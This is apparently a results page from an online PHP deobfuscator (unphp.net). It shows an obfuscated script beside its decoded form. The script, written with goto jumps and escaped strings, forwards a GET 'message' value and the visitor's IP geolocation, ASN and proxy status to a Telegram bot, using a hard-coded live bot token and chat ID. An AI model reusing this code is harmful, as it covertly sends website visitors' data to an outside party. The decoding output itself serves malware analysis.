Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
/* Decoded by unphp.net */ goto LdSXL; LdSXL: if (isset($_GET["\155\145\163\x73\x61\..
Decoded Output download
<? /* Decoded by unphp.net */
goto LdSXL; LdSXL: if (isset($_GET["message"])) { $message = $_GET["message"]; $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); $ipAddress = $_SERVER["REMOTE_ADDR"]; $url = "http://ip-api.com/json/{$ipAddress}"; $ipData = json_decode(file_get_contents($url)); if ($ipData && $ipData->status == "success") { $ipMessage = "IP Sorgu Sonucu:\xa"; $ipMessage .= "IP Adresi: " . $ipAddress . "
"; $ipMessage .= "\xc3\234lke: " . ($ipData->country ?: "-") . "\xa"; $ipMessage .= "\xc5\236ehir: " . ($ipData->city ?: "-") . "
"; $ipMessage .= "ASN: " . ($ipData->as ?: "-") . "\xa"; $ipMessage .= "ASN \304\xb0smi: " . ($ipData->asname ?: "-") . "
"; $ipMessage .= "Mobil: " . ($ipData->mobile ? "Evet" : "Hay\304\261r") . "\xa"; $ipMessage .= "Proxy: " . ($ipData->proxy ? "Evet" : "Hay\xc4\xb1r") . "
"; $ipMessage .= "Hosting: " . ($ipData->hosting ? "Evet" : "Hay\304\xb1r") . "
"; $ipMessage .= "ZIP: " . ($ipData->zip ?: "-") . "
"; sendTelegramMessage($ipMessage); } } goto xfdPr; xfdPr: function sendTelegramMessage($message) { $botToken = "5476863020:AAEkpSt9ohm4DX1DR1EKP17s4sWDorKDmKs"; $chatId = "718496025"; $url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); } goto XDcyS; XDcyS: ?>
Did this file decode correctly?
Original Code
/* Decoded by unphp.net */
goto LdSXL; LdSXL: if (isset($_GET["\155\145\163\x73\x61\147\x65"])) { $message = $_GET["\155\145\163\163\141\x67\145"]; $botToken = "\x35\64\x37\x36\70\66\63\x30\62\60\x3a\101\x41\105\153\x70\x53\x74\x39\157\150\155\x34\x44\x58\x31\x44\x52\61\105\x4b\x50\61\x37\163\64\163\127\104\x6f\162\x4b\104\155\113\x73"; $chatId = "\x37\61\70\x34\x39\x36\60\62\x35"; $url = "\150\x74\164\160\x73\72\x2f\x2f\x61\160\x69\56\x74\145\x6c\x65\147\162\141\x6d\x2e\157\x72\147\x2f\142\157\164" . $botToken . "\x2f\x73\145\x6e\144\x4d\x65\163\163\141\x67\x65\x3f\143\x68\x61\x74\137\151\144\75" . $chatId . "\46\164\145\170\164\x3d" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); $ipAddress = $_SERVER["\x52\x45\x4d\117\x54\105\x5f\101\104\104\x52"]; $url = "\x68\x74\164\x70\x3a\x2f\x2f\151\x70\x2d\141\160\151\x2e\143\x6f\155\x2f\x6a\163\157\x6e\x2f{$ipAddress}"; $ipData = json_decode(file_get_contents($url)); if ($ipData && $ipData->status == "\163\165\x63\143\x65\163\163") { $ipMessage = "\x49\x50\40\x53\157\x72\147\x75\40\123\x6f\156\x75\143\x75\x3a\xa"; $ipMessage .= "\111\x50\40\101\x64\x72\x65\163\x69\x3a\40" . $ipAddress . "\12"; $ipMessage .= "\xc3\234\x6c\x6b\x65\72\x20" . ($ipData->country ?: "\x2d") . "\xa"; $ipMessage .= "\xc5\236\x65\150\151\x72\x3a\x20" . ($ipData->city ?: "\x2d") . "\12"; $ipMessage .= "\x41\123\116\x3a\x20" . ($ipData->as ?: "\55") . "\xa"; $ipMessage .= "\x41\x53\116\40\304\xb0\x73\x6d\x69\x3a\40" . ($ipData->asname ?: "\55") . "\12"; $ipMessage .= "\115\x6f\x62\151\x6c\x3a\x20" . ($ipData->mobile ? "\x45\166\x65\164" : "\x48\141\x79\304\261\162") . "\xa"; $ipMessage .= "\120\162\157\x78\171\72\40" . ($ipData->proxy ? "\x45\x76\x65\164" : "\110\141\x79\xc4\xb1\x72") . "\12"; $ipMessage .= "\110\157\x73\164\x69\156\147\72\40" . ($ipData->hosting ? "\105\x76\x65\x74" : "\x48\141\171\304\xb1\162") . "\12"; $ipMessage .= "\132\x49\x50\x3a\x20" . ($ipData->zip ?: "\x2d") . "\12"; sendTelegramMessage($ipMessage); } } goto xfdPr; xfdPr: function sendTelegramMessage($message) { $botToken = "\65\64\x37\66\70\66\x33\x30\x32\60\x3a\101\101\x45\153\x70\123\164\71\x6f\x68\x6d\64\x44\x58\x31\x44\x52\61\105\x4b\x50\x31\x37\163\64\163\x57\x44\157\x72\x4b\x44\x6d\113\x73"; $chatId = "\x37\x31\x38\64\x39\66\60\62\65"; $url = "\x68\164\x74\x70\163\72\57\x2f\141\x70\x69\x2e\164\x65\154\145\147\x72\141\155\x2e\157\162\x67\x2f\142\x6f\164" . $botToken . "\x2f\x73\x65\156\x64\115\145\x73\x73\x61\147\145\x3f\143\x68\141\x74\137\151\144\x3d" . $chatId . "\46\164\145\170\x74\75" . urlencode($message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); } goto XDcyS; XDcyS:
Function Calls
None |
Stats
MD5 | 0cb1d1ba3c67b9fb0de4af8c6357d0e7 |
Eval Count | 0 |
Decode Time | 42 ms |